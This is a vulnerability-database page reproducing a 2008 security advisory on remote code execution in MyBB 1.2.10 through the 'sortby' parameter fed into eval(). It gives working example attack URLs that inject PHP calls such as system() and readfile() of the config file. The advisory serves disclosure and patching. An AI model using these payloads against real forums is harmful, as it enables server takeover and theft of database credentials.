Lucene search
K

mybulletinboard (mybb) <= 1.2.10 Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

mybulletinboard (mybb) <= 1.2.10 Multiple Vulnerabilities. Remote code execution vulnerabilities in "forumdisplay.php" and "search.php" can lead to total compromise of webserver. Update to MyBB 1.2.11 immediately

Code

                                                [waraxe-2008-SA#061] - Remote Code Execution in MyBB 1.2.10
===============================================================================

Author: Janek Vind &#34;waraxe&#34;
Independent discovery: koziolek
Date: 16. January 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-61.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MyBB is a discussion board that has been around for a while; it has evolved
from other bulletin boards into the forum package it is today. Therefore,
it is a professional and efficient discussion board, developed by an active
team of developers.

Vulnerabilities discovered
===============================================================================

1. Remote Code Execution in &#34;forumdisplay.php&#34;:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: valid forum &#34;fid&#34; must be known.
Attacker doesn&#39;t need to have any privileges in mybb installation to be
successful in attack.

Proof-Of-Concept request:

http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby=&#39;

... and we will see error message:

Parse error: syntax error, unexpected &#39;&#39;&#39;, expecting &#39;]&#39; in
C:\apache_wwwroot\mybb.1.2.10\forumdisplay.php(407) : eval()&#39;d code on line 1

Problematic piece of code is related to &#34;eval()&#34; function:

eval(&#34;\$orderarrow[&#39;$sortby&#39;] = \&#34;&#34;.
$templates-&#62;get(&#34;forumdisplay_orderarrow&#34;).&#34;\&#34;;&#34;);


Example attacks:

http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby=&#39;];phpinfo();exit;//
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby=&#39;];system(&#39;ls&#39;);exit;//
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby=&#39;];readfile(&#39;inc/config.php&#39;);exit;//


2. Remote Code Execution in &#34;search.php&#34;:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: search &#34;sid&#34; must be known - but that&#39;s trivial task.
Attacker doesn&#39;t need to have any privileges in mybb installation to be
successful in attack.

http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby=&#39;

Parse error: syntax error, unexpected &#39;&#39;&#39;, expecting &#39;]&#39; in
C:\apache_wwwroot\mybb.1.2.10\search.php(141) : eval()&#39;d code on line 1

Problematic is exactly same piece of code, as in previous case:

eval(&#34;\$orderarrow[&#39;$sortby&#39;] = \&#34;&#34;.
$templates-&#62;get(&#34;forumdisplay_orderarrow&#34;).&#34;\&#34;;&#34;);

Example attacks:

http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby=&#39;];phpinfo();exit;//
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby=&#39;];system(&#39;ls&#39;);exit;//
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby=&#39;];readfile(&#39;inc/config.php&#39;);exit;//

Both remote code execution security holes are very dangerous and can be
used by attacker to complete takeover the website and possible total
compromise of webserver.

How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download MyBB new version 1.2.11 as soon as possible!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb
and anyone else who know me!
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[email protected]
Janek Vind &#34;waraxe&#34;

Homepage: http://www.janekvind.com/
Waraxe forum:  http://www.waraxe.us/forums.html

---------------------------------- [ EOF ] ------------------------------------

# milw0rm.com [2008-01-16]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation